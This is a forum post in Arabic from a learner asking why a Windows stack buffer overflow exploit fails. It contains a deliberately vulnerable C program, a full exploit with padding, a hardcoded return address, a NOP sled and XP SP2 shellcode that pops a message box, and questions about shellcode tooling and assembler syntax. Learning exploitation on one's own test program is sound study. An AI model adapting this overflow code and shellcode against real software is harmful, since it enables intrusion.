السلام عليكم
معلش اخوانى انا كان عندى شويه مشاكل فى الستاك اوفر فلو بس على بيئه الويندوز و مشكال فى الاسمبلى نفسها
1-هل الشيل كود بيختلف من جهاز لاخر يعنى انا دلوقتى نزلت الشيل كود و جربتو و اشتغل عادى انما من ناحيه التنفيذ مش بيطبق خالص مع انى جربت معاه كل عنواين العوده اللى فى البرامج اللى بتتحمل من الكرينل و خطوتو بتخلص و بيجى كمان بعدها الخطوه العاديه يعنى مثلا انا كنت عامل داله تكتب test بعدها
الشيل كود بيظهرلى اكواد غريبه و بعدها بيظهرلى الكلمه test بس مفيش تنفيذ ! والصوره فى المرفقات
و ده السورس كود للبرنامج و الاستغلال
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
pri();
return 0;
}
int pri()
{
printf("test\n");
return 0;
}#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
char exploit[1000] = "H:\\windows\\c.exe ";
char NOP[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
"\x77\x1d\x80\x7c" //***LoadLibraryA(libraryname) IN WinXP sp2***
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
"\x28\xac\x80\x7c" //***GetProcAddress(hmodule,functionname) IN sp2***
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51"
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff"
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"
"\xff\x4f\x6d\x65\x67\x61\x37\x4e";
char ret[] = "\x4C\x84\x93\x7C";
char overflow[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAA";
strcat(exploit, overflow);
strcat(exploit, ret);
strcat(exploit, NOP);
strcat(exploit, shellcode);
printf("THE PROG. Hacking\n");
WinExec(exploit, 0);
printf("HACKED\n");
return 0;
}2-هل يوجد قاعده محدده لعدد الnop
3-انا قريت كذا مقال عن عمل شيل كود للويندوز و فى كل المقالات تم استعمال البنامج arwin علشان اجيب العنوان بتاع الداله اللى هستخدمها من الذاكره و بعد تكوين الشيل اسمبلى المفروض انى اترجمو بى nasm و بعد كده اشغلو بى objdump و فعلا جبتهم كلهم انما تطبيق الobjdump ده على اللينكس فى كل المقالات و حاولت اجيب السورس و ترجمتو على الويندوز انما بيدينى الشيل كود غلط و ساعات بيعمل ايرور و يطلع هل فى سبب لكده؟
4- فى بعض المقالات بيجبلى اكواد الاسمبلى بى الترتيب ده
.MODEL SMALL .STACK 200h .DATA .CODE START: INT 20 END START
انما ده بيجيبلى ايرور على طول فى nasm هل فى اختلاف بينو و بين ده
MAIN SEGMENT - ASSUME CS:MAIN,DS:MAIN,ES:MAIN,SS:MAIN - ORG 100h. START: - A label INT 20 - Returns to DOS MAIN ENDS - Ends the MAIN segment END START - Ends the START label
مع ان ده شغال معايا عادى و مفيش اى مشاكل
5- هل فى اختلاف بين ملفات .com و .exe مع العلم انى غيرت امتداد ملف من .com الى .exe و محلصش اى حاجه و النتيجه واحده انما فى الكتب بيقولو ان المفروض الناتج بعد الكومبيل بيبقا .exe و عندى بيطلع .com
